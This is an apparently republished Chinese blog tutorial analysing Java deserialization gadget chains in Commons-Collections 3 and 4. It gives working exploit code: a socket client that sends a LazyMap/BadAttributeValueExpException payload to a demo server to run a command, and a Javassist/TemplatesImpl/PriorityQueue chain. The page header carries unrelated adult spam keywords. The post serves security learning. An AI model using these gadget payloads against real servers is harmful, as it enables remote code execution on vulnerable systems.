日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

漫谈Commons-Collections反序列化

發(fā)布時(shí)間:2023/12/14 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 漫谈Commons-Collections反序列化 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

前言

?? 如果你沒(méi)有反序列化的基礎(chǔ),建議你看筆者博客文章先將基礎(chǔ)學(xué)習(xí)一下。如果你沒(méi)有學(xué)習(xí)分析過(guò)ysoserial--Gadget--URLDNS,建議你看筆者之前發(fā)過(guò)的文章學(xué)習(xí)一下。如果你是大佬,前面當(dāng)筆者沒(méi)說(shuō)。
?? Java的第一個(gè)反序列化漏洞就是從commons-collections組件中發(fā)現(xiàn)的,從此打開(kāi)了Java安全的新藍(lán)圖。
官方對(duì)commons-collections組件的說(shuō)明:The Java Collections Framework was a major addition in JDK 1.2. It added many powerful data structures that accelerate development of most significant Java applications. Since that time it has become the recognised standard for collection handling in Java.
翻譯一下大概意思就是:Java commons-collections 框架是JDK 1.2之后中的一個(gè)重要補(bǔ)充。增加了許多強(qiáng)大的數(shù)據(jù)結(jié)構(gòu),加快了Java應(yīng)用程序的開(kāi)發(fā)。已經(jīng)成為Java中公認(rèn)的集合處理標(biāo)準(zhǔn)。
?? 目前commons-collections的反序列化漏洞主要以3和4(版本)為主流,3和4的利用方式也不同,Gadget鏈也不相同。

PS: 為避免代碼太長(zhǎng)而導(dǎo)致的閱讀效果,故將完整的實(shí)驗(yàn)代碼全部已經(jīng)上傳至 https://github.com/SummerSec/JavaLearnVulnerability


Commons-Collections3

?? 先看一下Gadget鏈,入口是上篇文章提及的。這里的3是指版本號(hào),筆者這里只分析網(wǎng)上流傳的某一條利用鏈。BadAttributeValueExpException.readObject()類(lèi)。

Gadget chain:ObjectInputStream.readObject()BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

?? 試想一下先存在一個(gè)服務(wù)器,它正好存在使用commons-collections組件,沒(méi)有做任何的修復(fù),存在漏洞。此時(shí)你是不是就能利用此漏洞呢?


模擬場(chǎng)景DEMO

創(chuàng)建模擬服務(wù)器應(yīng)用

public class server {public static void main(String[] args) {// 模擬服務(wù)器端,接受反序列化數(shù)據(jù)try {ServerSocket serverSocket = new ServerSocket(6666);System.out.println("服務(wù)器監(jiān)聽(tīng)地址: " + serverSocket.getLocalSocketAddress());while (true){// 接受反序列化數(shù)據(jù)Socket socket = serverSocket.accept();System.out.println("與地址: " + socket.getInetAddress() + "連接!" );ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());try {// 讀取數(shù)據(jù)Object ob = ois.readObject();System.out.println("讀取數(shù)據(jù)完成!");System.out.println(ob);} catch (ClassNotFoundException e) {System.out.println("讀取數(shù)據(jù)失敗!");e.printStackTrace();}}} catch (IOException e) {e.printStackTrace();}} }

利用代碼

public class user {public static void main(String[] args) throws Exception {//目的服務(wù)器地址String tas = "127.0.0.1";// 端口int port = 6666;// payloadTransformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer("66666!")};Transformer transformerChain = new ChainedTransformer(transformers);// 創(chuàng)建漏洞map ObjectMap inmap = new HashMap();Map lazymap = LazyMap.decorate(inmap,transformerChain);TiedMapEntry entry = new TiedMapEntry(lazymap,"hack by Summer");// 創(chuàng)建異常,在反序列化時(shí)觸發(fā)payloadBadAttributeValueExpException expException = new BadAttributeValueExpException(null);try {Field field = expException.getClass().getDeclaredField("val");field.setAccessible(true);field.set(expException, entry);} catch (NoSuchFieldException | IllegalAccessException e) {e.printStackTrace();}// 發(fā)送payloadSocket socket = new Socket(tas,port);ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());oos.writeObject(expException);oos.flush();}}

漏洞效果

首先得讓模擬服務(wù)器在運(yùn)行,然后發(fā)送payload即可。


漏洞分析

?? 分析必定要先斷點(diǎn),這里筆者將代碼修改了,便于分析。這里就不再貼出,需要的可以去GitHub上自取,斷點(diǎn)直接設(shè)置在readObject方法。
溫馨提示:如果你用的是Idea工具,在Debug之前請(qǐng)查看自己Debugger設(shè)置,請(qǐng)和我一樣設(shè)置。為什么要這么做可以參考:Skipped breakpoint because it happened inside debugger evaluation ,否則你可能出現(xiàn)很多bug。


漏洞觸發(fā)流程

  • 一直跟進(jìn),到BadAttributeValueException.java的readObject方法。

  • 2. toString方法會(huì)跳轉(zhuǎn)到TiedMapEntry的toString方法

    3. 跟進(jìn)getValue()方法

    4. 跟進(jìn)到get()方法,在get方法中,會(huì)判斷key是否存在。然后跳轉(zhuǎn)到transform(key),這里的key是隨便填寫(xiě)的,主要是transform方法是被修改過(guò)的,里面有惡意payload。


    5. 這里是用Java的反射機(jī)制,建議去了解一下。推薦博文從安全角度談Java反射機(jī)制


    ?? 看完整個(gè)完整的過(guò)程,每一步都對(duì)應(yīng)著文章開(kāi)頭的Gadget chain。創(chuàng)建異常類(lèi)BadAttributeValueExpException,以便于在反序列化時(shí)觸發(fā)payload。


    漏洞成因分析

    ?? 過(guò)程看完了,但是我們還是無(wú)法理解為什么可以這么構(gòu)造,還是得一步步看POC源碼。我們一一對(duì)著官方文檔分析函數(shù)方法的具體作用。

  • ChainedTransformer將一個(gè)個(gè)Transformer類(lèi)數(shù)組按照順序一個(gè)個(gè)執(zhí)行,前一個(gè)運(yùn)行結(jié)果作為第二個(gè)transform。
  • ConstantTransformer調(diào)用transform方法,返回類(lèi)在實(shí)例化時(shí)存儲(chǔ)的類(lèi)。
  • InvokerTransformer調(diào)用transform方法的時(shí)候,根據(jù)類(lèi)在實(shí)例化時(shí)提供的參數(shù),通過(guò)反射去調(diào)用對(duì)象的方法。InvokerTransformer第一個(gè)參數(shù)是方法名,第二個(gè)參數(shù)是參數(shù)類(lèi)型,第三個(gè)參數(shù)是參數(shù)值。
  • public InvokerTransformer(java.lang.String methodName,java.lang.Class[] paramTypes,java.lang.Object[] args)


    ?? 這是一段反射執(zhí)行命令的代碼,這段執(zhí)行的效果完全等效于transformers[]數(shù)組,下面兩張圖片可以完美的詮釋。

    Class cls = Class.forName("java.lang.Runtime");//實(shí)例化對(duì)象Object ob = cls.getMethod("getRuntime",null).invoke(null,null);// 反射調(diào)用執(zhí)行命令cls.getMethod("exec", String.class).invoke(ob,"calc");


    ?? 創(chuàng)建一個(gè)HashMap,使用LazyMap.decorate()方法傳入HashMap和Transformer數(shù)組。其中數(shù)組是我們構(gòu)造的payload,最后使用TiedMapEntry傳入一個(gè)key。其實(shí)也可以這樣子lazymap.get("Summer")也可以傳入key,這樣子會(huì)在序列化過(guò)程就將key寫(xiě)入,而在反序列化的時(shí)候不會(huì)調(diào)用LazyMap.get()方法,判斷key是否存在。不存在則會(huì)調(diào)用this.factory.transform(key);方法,進(jìn)而觸發(fā)反序列化漏洞。所以很顯然這種方法不可取,只能通過(guò)修改底層的方式,加入key值,以便于在反序列化的時(shí)候觸發(fā)漏洞,并同時(shí)確保在序列化的過(guò)程不會(huì)觸發(fā)漏洞。

    Map inmap = new HashMap();Map lazymap = LazyMap.decorate(inmap,transformerChain);TiedMapEntry entry = new TiedMapEntry(lazymap,"hack by Summer");


    ?? 到目前為止,并沒(méi)有觸發(fā)反序列化漏洞的入口。而B(niǎo)adAttributeValueExpException這個(gè)類(lèi)是javax.management報(bào)下的一個(gè)類(lèi),是jdk自帶的,無(wú)需依賴(lài)第三方。它繼承了Serializable接口滿足反序列化漏洞的條件,它只有一個(gè)值權(quán)限是private不可修改,但利用反射機(jī)制修改其值來(lái)到達(dá)觸發(fā)反序列化漏洞的目的。

    BadAttributeValueExpException expException = new BadAttributeValueExpException(null);try {Field field = expException.getClass().getDeclaredField("val");field.setAccessible(true);field.set(expException, entry);} catch (NoSuchFieldException | IllegalAccessException e) {e.printStackTrace();}

    小結(jié)

    ?? 反序列化利用點(diǎn)是使用LazyMap在獲取key值的時(shí)候,使其key不存在,然后再獲取key的時(shí)候觸發(fā)漏洞。但需要有一個(gè)入口,這里的反序列化觸發(fā)的入口是JDK自帶的BadAttributeValueExpException類(lèi)。有幾個(gè)點(diǎn)不得不服大佬們的厲害之處,第一點(diǎn)是找到反序列化的入口BadAttributeValueExpException,這個(gè)類(lèi)得滿足反序列化的基本條件,還得是JDK自帶或者是組件自帶的。第二點(diǎn)是使用LazyMap的key為空來(lái)觸發(fā)反序列化漏洞。


    Commons-Collections4

    先看一下Gadget鏈,入口是JDK自帶的PriorityQueue.readObject()。

    Gadget chain:ObjectInputStream.readObject()PriorityQueue.readObject()...TransformingComparator.compare()InvokerTransformer.transform()Method.invoke()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()Runtime.exec()

    ?? 斷點(diǎn)擼碼,斷點(diǎn)的位置對(duì)于新手可能有點(diǎn)不知道該從何下手,其實(shí)掌握一點(diǎn),看入口,反序列化的入口。Commons-Collections4這里的入口時(shí)PriorityQueue.readObject()方法,這時(shí)你可以雙擊Shift,找到該類(lèi)在readObject下斷點(diǎn)。

    ?? 去掉注釋,也就省這么幾行代碼。自己結(jié)合官方文檔分析一下就知道該斷在哪里,如果你在知道具體步驟,你可以將每一行都設(shè)置個(gè)斷點(diǎn)進(jìn)行分析。

    private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();s.readInt();queue = new Object[size];for (int i = 0; i < size; i++)queue[i] = s.readObject();heapify();}

    漏洞分析

    漏洞觸發(fā)流程

  • 從ObjectInputStream.readObject()->PriorityQueue.readObject()->heapify()方法
  • 接著會(huì)執(zhí)行heapify()->sifrDown()
  • sifrDown()->comparator不為空進(jìn)入siftDownUsingComparator()方法
  • if判斷是否<=0是觸發(fā)漏洞
  • compare方法會(huì)執(zhí)行transformer的transform方法,而transform通過(guò)反射機(jī)制被修改過(guò),最后會(huì)導(dǎo)致反序列化漏洞。


  • 漏洞成因分析

    完整的實(shí)驗(yàn)代碼地址https://github.com/SummerSec/JavaLearnVulnerability/blob/master/vuldemo/src/main/java/vul/ccbug/CC4_1.java
    ?? Javaassist被廣泛用于修改字節(jié)碼的工具包,而此gadget chain中使用修改字節(jié)碼的形式觸發(fā)漏洞。一個(gè) CtClass (編譯時(shí)類(lèi))對(duì)象可以處理一個(gè) class 文件,ClassPool 是 CtClass 對(duì)象的容器。

    // 獲取默認(rèn)系統(tǒng)類(lèi)搜索路徑ClassPool pool = ClassPool.getDefault();// 添加額外的類(lèi)搜索路徑pool.insertClassPath(new ClassClassPath(Payload.class));pool.insertClassPath(new ClassClassPath(abstTranslet));// 獲取我們惡意payload的對(duì)象final CtClass clazz = pool.get(Payload.class.getName());

    ?? 修改好字節(jié)碼后,在通過(guò)一系列的反射方法,將構(gòu)造好的字節(jié)加入tamplates中,在反序列化的過(guò)程觸發(fā)漏洞。反射這里就不過(guò)多的解釋,如果不懂可以看筆者往期的博文。

    // 靜態(tài)初始化時(shí)插入執(zhí)行命令的字節(jié)碼String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";clazz.makeClassInitializer().insertAfter(cmd);// 將初始化后的類(lèi)設(shè)置新的名字clazz.setName("Summer" + System.nanoTime());// 設(shè)置父類(lèi)為AbstractTransletCtClass superC = pool.get(abstTranslet.getName());clazz.setSuperclass(superC);// 獲取修改后的字節(jié)碼final byte[] classBytes = clazz.toBytecode();

    ?? 其實(shí)將第二個(gè)占位只要是Object的類(lèi)型對(duì)象就可以,比例可以是tpl.newInstace()

    // 這里queue要占兩個(gè)位,比較方法是要兩個(gè)才能比較// 兩個(gè)位的都要是一個(gè)類(lèi)型,這里都是Objectqueue.add(templates);queue.add(new VerifyError("Summer"));

    ??修改字節(jié)碼之后我們?cè)倏纯磏ewTransformer()–>TemplatesImpl.getTransletInstance() 方法。

    ?? getTransletInstance()–>defineTransletClasses(),這里會(huì)返回一個(gè)定義主類(lèi)的類(lèi)對(duì)象的引用。

    ?? 最后在這里的強(qiáng)制類(lèi)型轉(zhuǎn)化觸發(fā)漏洞,到達(dá)執(zhí)行命令的效果。


    小結(jié)

    ?? PriorityQueue原本只是個(gè)優(yōu)先隊(duì)列,TemplatesImpl原本只是在xalan中的處理xml的模板實(shí)現(xiàn),但是經(jīng)過(guò)大佬之手二者結(jié)合產(chǎn)生巨大效果。吾不敢不服,下面只想用一圖展現(xiàn)筆者對(duì)此gadget的思考。


    總結(jié)

    ?? 看完其實(shí)不難發(fā)現(xiàn),Java反序列化漏洞必然離不開(kāi)Java的反射機(jī)制的作用。這種都是底層的Java語(yǔ)言的開(kāi)發(fā)者所想到便于開(kāi)發(fā)的機(jī)制,下圖是oracle官方給出的圖例,筆者覺(jué)得如果想要打開(kāi)一個(gè)新方向必然會(huì)用到一種“新”機(jī)制,這種機(jī)制應(yīng)該還是開(kāi)發(fā)人員經(jīng)常使用的。

    ?? 一個(gè)新的Gadget的產(chǎn)生構(gòu)造筆者有幾點(diǎn)愚見(jiàn),如有錯(cuò)誤還望海涵。

  • 一個(gè)JDK自帶的實(shí)現(xiàn)Serializabe接口
  • 必然離不開(kāi)Java反射機(jī)制
  • readObject()方法

  • 參考

    https://tool.oschina.net/apidocs/apidoc?api=commons-collections
    https://paper.seebug.org/1195/
    http://blog.orleven.com/2017/11/11/java-deserialize/
    https://xz.aliyun.com/t/7031#toc-5
    https://blog.csdn.net/chenwan8737/article/details/100716015
    https://blog.csdn.net/weixin_33802505/article/details/92214760
    https://blog.csdn.net/21aspnet/article/details/81671777
    https://xalan.apache.org/xalan-j/apidocs/index.html

    總結(jié)

    以上是生活随笔為你收集整理的漫谈Commons-Collections反序列化的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。